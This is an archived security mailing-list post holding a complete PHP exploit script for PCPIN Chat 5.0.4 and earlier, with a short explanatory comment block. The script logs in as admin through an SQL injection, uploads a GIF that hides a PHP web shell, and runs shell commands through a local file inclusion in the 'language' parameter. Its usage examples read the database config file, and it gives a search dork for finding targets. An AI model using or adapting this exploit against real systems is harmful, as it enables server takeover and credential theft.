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PCPIN Chat <= 5.0.4 "login/language" remote cmmnds xctn
From: rgod () autistici org
Date: 19 Apr 2006 17:00:51 -0000

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PCPIN Chat <= 5.0.4 \"login/language\" remote cmmnds xctn\r\n";
echo "by rgod rgod () autistici org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";;
echo "-> works with magic_quotes_gpc = Off\r\n";
echo "dork: \"powered by PCPIN.com\"\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to pcpin\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /pcpin/ cat ./config/db.inc.php\r\n";
echo "php ".$argv[0]." localhost /pcpin/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}

/*
   software site: http://www.pcpin.com/
   description: a chat software written in php that uses mysql for data storage

   vulnerabilites:
   i) sql injection:
   you can login as admin typing:
   username: ") or isnull(1/0)/*
   password: [whatever]

   query becomes:
   SELECT * FROM pcpin_user WHERE (cookie = "#EMPTY#" AND cookie <> "") OR
   (login = "") or isnull(1/0)/* AND password = "[somehash]") AND activated = "1"
   LIMIT 1

   ii) arbitrary local inclusion:
   now you can upload smilies with php code inside, we have a local inclusion
   bug in "language" argument when you select a language so, you can include
   a gif file and launch commands...

   both works with magic_quotes_gpc=Off
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}


#step 1 -> sql injection, login as admin
echo "[1] login...\r\n";
$sql="\") or isnull(1/0)/*";
$sql=urlencode($sql);
$data ="lostpassword=";
$data.="&include=2";
$data.="&language=english";
$data.="&submitted=1";
$data.="&login=".$sql;
$data.="&password=suntzu";
$packet ="POST ".$p."main.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$cookie=$temp2[0];
if ($cookie =='') {die("Unable to retrieve session cookie...");}
echo "Cookie -> ".$cookie."\r\n";
$temp=explode("name=\"session_id\" value=\"",$html);
$temp2=explode("\"",$temp[1]);
$sid=$temp2[0];
if ($sid =='') {die("Unable to retrieve session id...");}
echo "session id -> ".$sid."\r\n";

srand(make_seed());
$v = rand(1,99999);

#step 2 -> Upload a malicious gif file...
echo "[2] uploading the gif file...\r\n";
$data='-----------------------------7d613b1d0448
Content-Disposition: form-data; name="smiliefile"; filename="suntzu.gif"
Content-Type: image/gif

<?php echo 56789;ini_set("max_execution_time",0);error_reporting(0);passthru($_REQUEST[suntzu]);echo 56789;?>
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="session_id";

'.$sid.'
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="include";

26
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="text";

suntzu'.$v.'
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="smilie_id"


-----------------------------7d613b1d0448
Content-Disposition: form-data; name="add"

1
-----------------------------7d613b1d0448
Content-Disposition: form-data; name="edit"


-----------------------------7d613b1d0448
Content-Disposition: form-data; name="submitted"

1
-----------------------------7d613b1d0448--
';


$packet ="POST ".$p."main.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
//echo $html;
$temp=explode("smilies/",$html); //file is renamed, let's retrieve new filename...it is the last in smilies list
$temp2=explode("\"",$temp[count($temp)-1]);
$fn=$temp2[0];
if ($fn =='') {die("Unable to retrieve evil gif filename...");}
echo "filename -> ".$fn."\r\n";

#step 3-> logout... you need this to launch again exploit
echo "[3] logout...\r\n";
$data="session_id=".$sid."&include=9";
$packet ="POST ".$p."main.php HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"window.location.href")) {echo "done...\r\n";}
                                     else {echo "maybe not...\r\n";}

#step 4-> launch commands
echo "[4] sending command...\r\n";
$xpl=urlencode("../images/smilies/".$fn.chr(0x00));
$data="language=".$xpl;
$packet ="POST ".$p."main.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Cookie: suntzu=".$cmd.";\r\n"; //pass commands through cookies
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
  if (strstr($html,"56789"))
  {
   echo "Exploit succeeded...\r\n\r\n";
   $temp=explode("56789",$html);
   die($temp[1]);
  }
//if you are here...
echo "Exploit failed...";
?>


original advisory:

http://retrogod.altervista.org/pcpin_504_xpl.html


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